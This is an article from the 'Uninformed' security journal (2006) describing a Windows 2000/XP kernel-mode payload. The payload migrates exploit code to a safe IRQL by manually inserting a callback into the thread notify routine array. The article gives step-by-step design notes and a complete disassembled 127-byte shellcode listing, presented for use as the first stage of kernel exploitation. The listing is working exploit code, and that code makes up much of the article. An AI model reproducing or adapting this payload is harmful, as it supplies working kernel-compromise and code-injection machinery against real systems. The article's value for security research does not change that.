Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan

Thread Notify Routine

Type: R0 IRQL Migrator
Size: 127 bytes
Compat: 2000, XP

Another technique that can be used to migrate a payload to a safe IRQL involves setting up a thread notify routine which is normally done by calling nt!PsSetCreateThreadNotifyRoutine. Unfortunately, the documentation states that this routine can only be called at PASSIVE_LEVEL, thus making it appear as if calling it from a payload would lead to problems. While this is true, it is also possible to manually create a notify routine by modifying the global array of thread notify routines. Although this array is not exported, it is easy to find by extracting an address reference to it from one of either nt!PsSetCreateThreadNotifyRoutine or nt!PsRemoveCreateThreadNotifyRoutine. By using this basic approach, it is possible to write a migration payload that transitions to PASSIVE_LEVEL by registering a callback that is called whenever a thread is created or deleted.

In more detail, a few steps must be taken in order to get this to work properly on 2000 and XP. The steps taken on 2003 should be pretty much the same as XP, but have not been tested.

  1. Find the base address of nt The base address of nt must be located so that an exported symbol can be resolved.
  2. Determine the current operating system Since the method used to install the thread notify routines differ between 2000 and XP, a check must be made to see what operating system the payload is currently running on. This is done by checking the NtMinorVersion attribute of KUSER_SHARED_DATA at 0xffdf0270.
  3. Shift edi to point to the storage buffer Due to the fact that it can't be generally assumed that the buffer the payload is running from will stick around until the notify routine is called, the stage associated with the payload must be copied to another location. In this case, the payload is copied to a buffer starting at 0xffdf04e0.
  4. If the payload is running on XP On XP, the technique used to register the thread notify routine requires creating a callback structure in a global location and manually inserting it into the nt!PspCreateThreadNotifyRoutine array. This has to be done in order to avoid IRQL issues. For that reason, a fake callback structure is created and is designed to be stored at 0xffdf04e0. The actual code that will be executed will be copied to 0xffdf04e8. The function pointer inside the callback structure is located at offset 0x4, but in the interest of size, both of the first attributes are initialized to point to 0xffdf04e8.

    It is also important to note that on XP, the nt!PspCreateThreadNotifyRoutineCount must be incremented so that the notify routine will actually be called. Fortunately, for versions of XP currently tested, this value is located 0x20 bytes after the notify routine array.

  5. If the payload is running on 2000 On 2000, the nt!PspCreateThreadNotifyRoutine is just an array of function pointers. For that reason, registering the notify routine is much simpler and can actually be done by calling nt!PsSetCreateThreadNotifyRoutine without much of a concern since no extra memory is allocated. By calling the real exported routine directly, it is not necessary to manually increment the nt!PspCreateThreadNotifyRoutineCount. Furthermore, doing so would not be as easy as it is on XP because the count variable is located quite a distance away from the array itself.
  6. Resolve the exported symbol The symbol resolution approach taken in this payload involves comparing part of an exported symbol's name with ``dNot''. This is done because on XP, the actual symbol needed in order to extract the address of nt!PspCreateThreadNotifyRoutine is found a few bytes into
    nt!PsRemoveCreateThreadNotifyRoutine. However, on 2000, the address of nt!PsSetCreateThreadNotifyRoutine needs to be resolved as it is going to be directly called. As such, the offset into the string that is compared between 2000 and XP differs. For 2000, the offset is 0x10. For XP, the offset is 0x13. The end result of the resolution process is that if the payload is running on XP, the eax register will hold the address of nt!PsRemoveCreateThreadNotifyRoutine and if it's running on 2000 it will hold the address of nt!PsSetCreateThreadNotifyRoutine.
  7. Copy the second stage payload Once the symbol has been resolved, the second stage payload is copied to the destination described in an earlier step.
  8. Set up the notify routine entry If the payload is running on XP, a fake callback structure is manually inserted into the nt!PspCreateThreadNotifyRoutine array and the
    nt!PspCreateThreadNotifyRoutineCount is manually incremented. If the payload is running on 2000, a direct call to nt!PsSetCreateThreadNotifyRoutine is issued with the pointer to the copied second stage as the notify routine to be registered.

A payload that implements the thread notify routine approach is shown below:

00000000  FC                cld
00000001  A12CF1DFFF        mov eax,[0xffdff12c]
00000006  48                dec eax
00000007  6631C0            xor ax,ax
0000000A  6681384D5A        cmp word [eax],0x5a4d
0000000F  75F5              jnz 0x6
00000011  95                xchg eax,ebp
00000012  BF7002DFFF        mov edi,0xffdf0270
00000017  803F01            cmp byte [edi],0x1
0000001A  66D1C7            rol di,1
0000001D  57                push edi
0000001E  750E              jnz 0x2e
00000020  89F8              mov eax,edi
00000022  83C008            add eax,byte +0x8
00000025  AB                stosd
00000026  AB                stosd
00000027  57                push edi
00000028  6A06              push byte +0x6
0000002A  6A13              push byte +0x13
0000002C  EB05              jmp short 0x33
0000002E  57                push edi
0000002F  6A81              push byte -0x7f
00000031  6A10              push byte +0x10
00000033  5A                pop edx
00000034  31C9              xor ecx,ecx
00000036  8B7D3C            mov edi,[ebp+0x3c]
00000039  8B7C3D78          mov edi,[ebp+edi+0x78]
0000003D  01EF              add edi,ebp
0000003F  8B7720            mov esi,[edi+0x20]
00000042  01EE              add esi,ebp
00000044  AD                lodsd
00000045  41                inc ecx
00000046  01E8              add eax,ebp
00000048  813C10644E6F74    cmp dword [eax+edx],0x746f4e64
0000004F  75F3              jnz 0x44
00000051  49                dec ecx
00000052  8B5F24            mov ebx,[edi+0x24]
00000055  01EB              add ebx,ebp
00000057  668B0C4B          mov cx,[ebx+ecx*2]
0000005B  8B5F1C            mov ebx,[edi+0x1c]
0000005E  01EB              add ebx,ebp
00000060  8B048B            mov eax,[ebx+ecx*4]
00000063  01E8              add eax,ebp
00000065  59                pop ecx
00000066  85C9              test ecx,ecx
00000068  8B1C08            mov ebx,[eax+ecx]
0000006B  EB14              jmp short 0x81
0000006D  5E                pop esi
0000006E  5F                pop edi
0000006F  6A01              push byte +0x1
00000071  59                pop ecx
00000072  F3A5              rep movsd
00000074  7808              js 0x7e
00000076  5F                pop edi
00000077  893B              mov [ebx],edi
00000079  FF4320            inc dword [ebx+0x20]
0000007C  EB02              jmp short 0x80
0000007E  FFD0              call eax
00000080  C3                ret
00000081  E8E7FFFFFF        call 0x6d

... R0 stage here ...

The R0 stage must keep in mind that it will be called in the context of a callback, so in order to ensure graceful recovery the stage must issue a ret 0xc or equivalent instruction upon completion. The R0 stage must also be capable of being re-entered without having any adverse side effects. This approach may also be compatible with 2003, but tests were not performed. This payload could be made significantly smaller if it were targeted to a specific OS version. One major benefit to this approach is that the stage will be passed arguments that are very useful for R3 code injection, such as a ProcessId and ThreadId.

This approach has quite a few cons. First, the size of the payload alone makes it less useful due to all the work required to just migrate to a safe IRQL. Furthermore, this payload also relies on offsets that may be unreliable across new versions of the operating system, specifically on XP. It also depends on the pages that the notify routine array resides at being paged in at the time of the registration. If they are not, the payload will fail if it is running at a raised IRQL that does not permit page faults.